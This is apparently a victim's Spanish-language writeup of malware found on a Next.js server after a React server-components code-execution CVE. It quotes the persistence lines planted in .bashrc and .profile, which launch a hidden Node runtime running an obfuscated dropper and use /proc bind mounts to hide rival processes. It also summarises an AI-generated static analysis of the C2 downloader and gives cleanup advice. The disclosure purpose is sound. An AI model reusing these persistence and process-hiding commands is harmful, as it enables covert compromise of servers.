react-cve-2025-55182

Esto es un volcado de malware y otras basuras sospechosas que encontré en el servidor de mi sitio web de bodas tras el exploit de ejecución de código en el renderizado del lado del servidor de React. Es un droplet modesto de Digital Ocean que ejecuta una aplicación de Next.js bastante corriente.

El CVE: https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components

Un registro de la actividad del servidor que muestra varios picos y demás:

El principal culpable parece ser esto instalado en /.local/share/.r0qsv8h1

Lo que encontré

En mi bashrc:

# System
(nohup /.local/share/.r0qsv8h1/.394ly8v9/bin/node /.local/share/.r0qsv8h1/.fvq2lzl64e.js >/dev/null 2>&1 &) 2>/dev/null
pgrep -f mesh | xargs -I {} mount -n --bind /dev/shm /proc/{} 2>/dev/null
pgrep -f mesh | xargs -I {} mount -n --bind /dev/shm /proc/{} 2>/dev/null
pgrep -f mesh | xargs -I {} mount -n --bind /dev/shm /proc/{} 2>/dev/null

Observa que los pgreps están ahí para impedir que se ejecute este otro malware falso llamado "meshagent". Puedes leer más sobre ello en el documento MESHAGENT.md.

En mi profile está lo mismo

# App
(/.local/share/.r0qsv8h1/.394ly8v9/bin/node /.local/share/.r0qsv8h1/.fvq2lzl64e.js >/dev/null 2>&1 &) 2>/dev/null

Puedes ver otros servicios sospechosos en SUSPICIOUS_SERVICES.md

Aquí tienes un análisis de este malware principal:

Resumen de lo de /.local/

El directorio bad contiene un runtime de Node.js autocontenido junto con un conjunto de archivos JavaScript fuertemente ofuscados.
Toda la evidencia apunta a que se trata de un dropper malicioso que contacta silenciosamente con un servidor remoto, descarga una carga útil cifrada, la descifra, la escribe en disco y la ejecuta como un proceso en segundo plano desacoplado. El código también comprueba periódicamente si el servidor tiene actualizaciones.

Archivos y su propósito

Decodificación del manifiesto

La carga útil Base64 en .5f8562 se decodifica a:

{
  "0": "c6aeb84b-0600-4e82-ae3e-f7d441a2fd7c",
  "1": ".fvq2lzj6te.js",
  "3": 1765307786421,
  "4": "desktop"
}

• La clave "1" hace referencia al script cargador ofuscado principal.
• La clave "0" es un UUID que probablemente usa el servidor remoto para el seguimiento.
• La clave "3" es una marca de tiempo (ms de época Unix) que indica cuándo se generó el manifiesto.
• La clave "4" indica la ubicación prevista (desktop), lo que sugiere que la carga útil podría intentar ocultarse allí.

Flujo de ejecución

1. Arranque – Cuando se inicia el binario de Node incluido (p. ej., node .5f8562), el manifiesto apunta a .fvq2lzj6te.js.
2. Descargador – El cargador crea una petición JSON‑RPC a un servidor remoto de comando y control, recibe un blob codificado en base64 y lo descifra usando un algoritmo similar a RC4 personalizado.
3. Despliegue de la carga útil – Los datos descifrados se escriben en un archivo con nombre aleatorio en el entorno del usuario y se ejecutan como un proceso hijo desacoplado.
4. Persistencia / Bucle de actualización – Un temporizador setInterval repite periódicamente la secuencia de descarga‑descifrado‑ejecución, lo que permite al atacante enviar cargas útiles nuevas o actualizadas sin necesidad de más interacción del usuario.
5. Ejecución en segundo plano – El proceso lanzado se ejecuta con su propio entorno (PATH, cwd, etc.) y puede realizar acciones maliciosas típicas como criptominería, robo de credenciales o ejecución remota de comandos.

Impacto potencial

• Compromiso del sistema – Ejecución arbitraria de código con los privilegios del usuario que lanzó el runtime de Node.
• Persistencia – El sondeo periódico garantiza que el malware pueda actualizarse o reemplazarse en cualquier momento.
• Abuso de recursos – Es probable que ejecute tareas de uso intensivo de CPU (p. ej., minería de criptomonedas) o que exfiltre datos.
• Sigilo – Los archivos están fuertemente ofuscados y la presencia de un README de Node de apariencia legítima ayuda a ocultar la naturaleza maliciosa.

Recomendaciones

1. Eliminación inmediata – Borra todo el directorio .r0qsv8h1 y cualquier archivo que haya podido crear (revisa el Desktop del usuario y los directorios temporales en busca de ejecutables recién creados).
2. Escaneo del sistema – Ejecuta un escáner antivirus de confianza en el host para detectar cualquier componente residual.
3. Verifica las rutas de ejecución – Asegúrate de que ningún script de inicio o tarea programada haga referencia a archivos de este directorio.
4. Monitorización de red – Bloquea las conexiones salientes a IPs/hosts desconocidos desde la máquina afectada y revisa el tráfico de red reciente en busca de peticiones salientes sospechosas.
5. Actualiza las políticas de seguridad – Restringe la ejecución de binarios y scripts desconocidos, especialmente los que se descargan en ubicaciones escribibles por el usuario.

Este análisis fue realizado automáticamente por un asistente de IA basándose en un examen estático de los archivos presentes en el directorio. No se realizó ninguna ejecución en tiempo real.

Puedes leer más en DEOBFUSCATE.md